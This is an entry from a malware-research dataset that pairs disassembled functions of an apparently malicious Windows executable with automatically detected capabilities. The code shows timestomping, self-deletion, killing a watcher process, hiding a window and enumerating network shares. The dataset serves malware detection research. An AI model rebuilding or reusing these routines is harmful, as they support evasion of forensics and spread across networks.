joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e090
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x2c], eax
push esi
push edi
push 0
push 0x2000000
push 3
push 0
push 3
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x45e0d9
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call fcn.0055a8b5
cdq
mov ecx, 3
idiv ecx
mov eax, 0xffff
sub eax, edx
add word [esp + 0xc], ax
call fcn.0055a8b5
cdq
mov ecx, 0xc
idiv ecx
inc edx
mov word [esp + 0xe], dx
call fcn.0055a8b5
cdq
mov ecx, 0x1c
idiv ecx
inc edx
mov word [esp + 0x12], dx
call fcn.0055a8b5
cdq
mov ecx, 0x18
idiv ecx
mov word [esp + 0x14], dx
call fcn.0055a8b5
cdq
mov esi, 0x3c
idiv esi
mov word [esp + 0x16], dx
call fcn.0055a8b5
cdq
idiv esi
mov word [esp + 0x18], dx
call fcn.0055a8b5
cdq
mov ecx, 0x3e8
idiv ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x10]
mov word [esp + 0x1e], dx
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0xffffffff
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x38], 0xffffffff
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x34]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x45e1d0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57bb18
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov dword [ebp - 0x3c], ebx
push edi
push ebx
call fcn.0055edd7
add esp, 8
test eax, eax
jne 0x45e21a
mov eax, 1
jmp 0x45e38f
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x45e38f
mov ecx, edi
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movq qword [ebp - 0x20], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45e240
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ecx + 1]
push eax
lea ecx, [ebp - 0x20]
call fcn.0045e860
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
sub eax, esi
push edi
sar eax, 1
push eax
push esi
call fcn.0055a846
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp byte [ebp + 8], 0
je 0x45e2cb
push 0
push 0x2000000
push 3
push 0
push 3
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x45e2cb
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
jne 0x45e31d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x45e35d
mov ecx, edi
call fcn.004715f0
push ebx
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
jne 0x45e31d
mov ecx, esi
call fcn.004715f0
push ebx
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
je 0x45e35d
cmp byte [ebp + 8], 0
je 0x45e35d
push 0
push 0x2000000
push 3
push 0
push 3
push 0x80000100
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x45e35d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x45e38d
mov ecx, dword [ebp - 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x45e383
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45e3ab
push ecx
push esi
call fcn.00537216
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
int3
Function at 0x45f190
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57bbe0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov edi, dword [ebp + 0xc]
mov esi, edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x28], ecx
jb 0x45f1e1
mov esi, dword [edi]
lea ebx, [eax + eax]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x45f201
nop
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x45f1f0
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x18]
mov eax, dword [ebx + 0xc]
and ecx, edx
mov esi, dword [ebx + 4]
mov dword [ebp - 0x24], ecx
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1c], eax
cmp esi, dword [eax]
je 0x45f281
mov esi, dword [eax + 4]
mov esi, dword [esi]
cmp esi, dword [eax]
je 0x45f281
mov esi, dword [esi + 4]
cmp dword [esi + 0x1c], 8
lea edx, [esi + 8]
mov eax, dword [edx + 0x10]
jb 0x45f236
mov edx, dword [edx]
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x45f240
mov ecx, dword [edi]
cmp dword [edi + 0x10], eax
mov eax, dword [ebp - 0x1c]
jne 0x45f221
push dword [edi + 0x10]
call fcn.004546f0
add esp, 4
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x45f221
mov eax, dword [ebp - 0x20]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebx + 4]
push edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax + 4]
push ecx
push eax
mov dword [ebp - 0x18], ecx
call fcn.0045c260
mov edx, eax
mov ecx, 0x7fffffe
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x45f33c
inc eax
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov edi, dword [ebx + 4]
mov edi, dword [edi]
mov dword [ebp - 0x18], edi
mov eax, dword [edi]
cmp esi, eax
je 0x45f2f1
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov ecx, dword [eax + 4]
mov edx, dword [esi + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
push dword [ebp - 0x24]
mov ecx, ebx
push esi
push edi
call fcn.0045c440
mov ecx, ebx
mov dword [ebp - 4], 2
call fcn.0045c3a0
mov eax, dword [ebp - 0x20]
mov dword [eax], edi
mov byte [eax + 4], 1
jmp 0x45f263
push str.list_T__too_long
call fcn.0053442e
int3
Function at 0x460490
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4008
call fcn.005379c0
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edx
push ecx
push 0x5e27c8
lea eax, [ebp - 0x4004]
mov dword [ebp - 0x4008], 0
push 0x2000
push eax
call fcn.0045fda0
add esp, 0x14
lea ecx, [ebp - 0x4008]
add eax, eax
push 0
push ecx
push eax
lea eax, [ebp - 0x4004]
push eax
push dword [0x5f7cb0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x463820
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x70
push 2
push 1
push 0
call dword [sym.imp.USER32.dll_RegisterHotKey]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x20]
push 0
push 0
push 0
push eax
call edi
test eax, eax
je 0x463917
push ebx
mov ebx, dword [sym.imp.USER32.dll_UnregisterHotKey]
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp dword [ebp - 0x1c], 0x312
jne 0x463901
mov eax, dword [ebp - 0x18]
sub eax, 1
jne 0x463901
cmp byte [0x5f79f5], al
je 0x4638fb
cmp byte [0x5f79f4], al
je 0x4638af
mov al, byte [0x5ffaf4]
and al, 1
mov byte [0x5f79f4], 0
mov byte [0x5fd9af], al
jmp 0x4638b4
mov al, byte [0x5fd9af]
test al, al
je 0x4638d0
push 0
push dword [0x5fd99c]
call esi
xor al, al
mov byte [0x5fd9af], al
mov byte [0x5fd9ab], al
jmp 0x463901
call fcn.0045fcd0
push 5
push dword [0x5fd99c]
call esi
mov ecx, dword [0x5ffaf4]
or ecx, 1
call fcn.0046b2c0
mov al, 1
mov byte [0x5fd9af], al
mov byte [0x5fd9ab], al
jmp 0x463901
push 1
push 0
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
jne 0x463867
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x464990
Capabilities:
Create thread

Disassembly:
push esi
mov esi, 1
lock xadd dword [0x5ffa80], esi
inc esi
push 0
push 0
dec esi
push esi
push 0x464890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi*4 + 0x5ffa78], eax
pop esi
ret

Function at 0x464b60
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x464a80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi*4 + 0x5ffa94], eax
pop esi
ret
Function at 0x467080
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
movzx eax, byte [esi]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [esi + 1]
xor edx, eax
movzx eax, byte [esi + 2]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [esi + 3]
imul ecx, edx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 4]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 5]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 6]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 7]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edi + 0x18]
imul ecx, ecx, 0x1000193
pop edi
pop esi
and eax, ecx
pop ebp
ret 4

Function at 0x467690
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57c3f0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push str.SYSTEMDRIVE
mov dword [ebp - 4], 0
call fcn.00559bf6
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4676f0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044b750
push 5
push str._temp
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00453360
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x5e1fa4
lea ecx, [ebp - 0x28]
call fcn.00453360
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.00453360
lea eax, [ebp - 0x28]
mov ecx, 0x5f7d60
push dword [ebp - 0x18]
test esi, esi
je 0x46776a
mov ecx, 0x5f7d78
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0044b750
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4677ae
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4677a4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x467813
push edx
push ecx
call fcn.00537216
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4677f8
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4677ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x467818
push edx
push ecx
call fcn.00537216
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
call fcn.00552cb1
int3
Function at 0x4678d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.005379c0
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov ecx, 1
mov edx, 0x5ffaf0
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4679a1
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
mov esi, eax
test esi, esi
jle 0x4679a1
push 0x5ffad8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x5ffad4]
test cl, 2
je 0x46797d
mov edx, dword [0x5f7d5c]
cmp edx, 0xffffffff
je 0x46797d
push 0
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x100c]
push eax
push edx
call esi
push 0
lea eax, [ebp - 0x1010]
push eax
push 4
push 0x5e2dec
push dword [0x5f7d5c]
call esi
mov ecx, dword [0x5ffad4]
test cl, 1
je 0x467996
lea edx, [ebp - 0x100c]
call fcn.00469c30
push eax
call fcn.00469ef0
add esp, 4
push 0x5ffad8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
Function at 0x467fc0
Capabilities:
Delete file

Disassembly:
test byte [0x5ffad4], 4
push ebx
mov bl, cl
je 0x467fd9
push str._If_this_report_empty__all_checksum_match_
call fcn.004678d0
add esp, 4
cmp byte [0x5ff86d], 0
je 0x468055
push 0x5ffad8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov ecx, 0x5ffaf0
xchg dword [ecx], eax
mov eax, dword [0x5f7d5c]
cmp eax, 0xffffffff
je 0x468011
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x5f7d5c], 0xffffffff
push 0x5ffad8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x5ffad8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
test bl, bl
je 0x46804e
test byte [0x5ffad4], 2
je 0x46804e
cmp dword [0x5f7d8c], 8
mov eax, 0x5f7d78
cmovae eax, dword [0x5f7d78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [0x5ff86d], 0
pop ebx
ret
Function at 0x46ed90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
push edi
push str.___Work_finished.
mov edi, ecx
call fcn.0046b580
add esp, 4
cmp dword [0x5fd9b0], 0
je 0x46ee05
push 0x5e1cac
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x14], 0x5e1cac
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 0xa
push 0x4a
push dword [0x5fd9b0]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
or eax, 0xffffffff
mov ecx, 0x5fdfd0
xchg dword [ecx], eax
cmp byte [0x5fd9a9], 0
je 0x46ee3c
mov esi, dword [0x5fdbd0]
test esi, esi
je 0x46ee3c
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push str.___CleanUp.
call fcn.0046b580
add esp, 4
call fcn.0047c390
push str.___Kill_watcher
call fcn.0046b580
add esp, 4
push dword [0x5fd9a0]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x46ee84
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd9a7], 0
je 0x46eea1
push str.___Self_del
call fcn.0046b580
add esp, 4
xor cl, cl
call fcn.00477850
call fcn.00463940
push str.___Closing...
call fcn.0046b580
add esp, 4
call fcn.0046b850
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x46f250
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x2c], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x46f427
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
nop
push esi
push 8
push dword [0x5ffb1c]
call edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x46f2a0
lea ecx, [esp + 0x18]
push ecx
push eax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x46f40b
xor ebx, ebx
cmp dword [esp + 0x20], ebx
jbe 0x46f3eb
mov esi, dword [esp + 0x10]
add esi, 0x14
test byte [esi - 8], 2
je 0x46f2f6
lea ecx, [esi - 0x14]
call fcn.0046f250
jmp 0x46f3d4
mov ecx, dword [esi]
mov edx, 4
call fcn.0045e480
mov edi, eax
mov ecx, edi
mov dword [esp + 0x14], edi
call fcn.00463300
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.0046b580
add esp, 8
cmp byte [0x5fd989], 0
je 0x46f36a
mov edi, dword [0x5ff940]
lea ecx, [esp + 0x14]
push ecx
mov eax, dword [edi + 4]
push eax
push edi
mov dword [esp + 0x18], eax
call fcn.0045d040
mov edx, dword [0x5ff944]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x46f439
mov ecx, dword [esp + 0xc]
inc edx
mov dword [0x5ff944], edx
mov dword [edi + 4], eax
mov edi, dword [esp + 0x14]
mov dword [ecx], eax
cmp byte [0x5fd9a4], 0
je 0x46f3d4
cmp byte [0x5fd995], 0
je 0x46f3d4
mov eax, dword [esi]
sub esp, 0x18
mov edx, esp
mov dword [esp + 0x2c], eax
xor ecx, ecx
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], cx
lea ecx, [eax + 2]
mov dword [esp + 0x24], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x46f3a1
sub eax, dword [esp + 0x24]
mov ecx, edx
sar eax, 1
push eax
push dword [esp + 0x30]
call fcn.0044b750
mov edx, edi
mov ecx, 1
call fcn.0047b370
add esp, 0x18
mov ecx, edi
call fcn.004634d0
cmp byte [0x5fd981], 0
jne 0x46f427
inc ebx
add esi, 0x20
cmp ebx, dword [esp + 0x20]
jb 0x46f2e3
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x46f2d0
push dword [esp + 0x10]
push 0
push dword [0x5ffb1c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.0053442e
int3
Function at 0x4702d0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5ff9a4], 0
push ebx
push esi
push edi
jne 0x4702ff
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
push str.___CreateHostTable...
call fcn.0046b580
mov eax, dword [0x5ff9a0]
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
xor bl, bl
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
nop dword [eax]
push 0x20
mov byte [ebp - 0x19], bl
call fcn.005371e6
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov eax, 0x14
mov ecx, esi
nop dword [eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x470350
mov eax, dword [ebp - 0x1c]
push 1
push 0
push 0
push 6
push 1
mov dword [esi + 0x18], eax
push 2
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x47038f
push 0x20
push esi
call fcn.00537216
add esp, 8
jmp 0x470420
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x470397
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x4703d1
push dword [esi + 0x14]
call edi
push 0x20
push esi
call fcn.00537216
add esp, 8
jmp 0x470420
push 0
push 2
push dword [0x5ffb3c]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x4703bf
mov esi, dword [0x5ff988]
lea eax, [ebp - 0x18]
push eax
mov edi, dword [esi + 4]
push edi
push esi
call fcn.0045d040
mov edx, dword [0x5ff98c]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x470472
inc edx
mov dword [0x5ff98c], edx
mov dword [esi + 4], eax
mov dword [edi], eax
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
inc bl
cmp bl, 0xff
jb 0x470330
mov eax, dword [0x5ff9a0]
push 0xc
mov edx, dword [eax]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
dec dword [0x5ff9a4]
call fcn.00537216
push 4
push dword [ebp - 0x20]
call fcn.00537216
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.0053442e
int3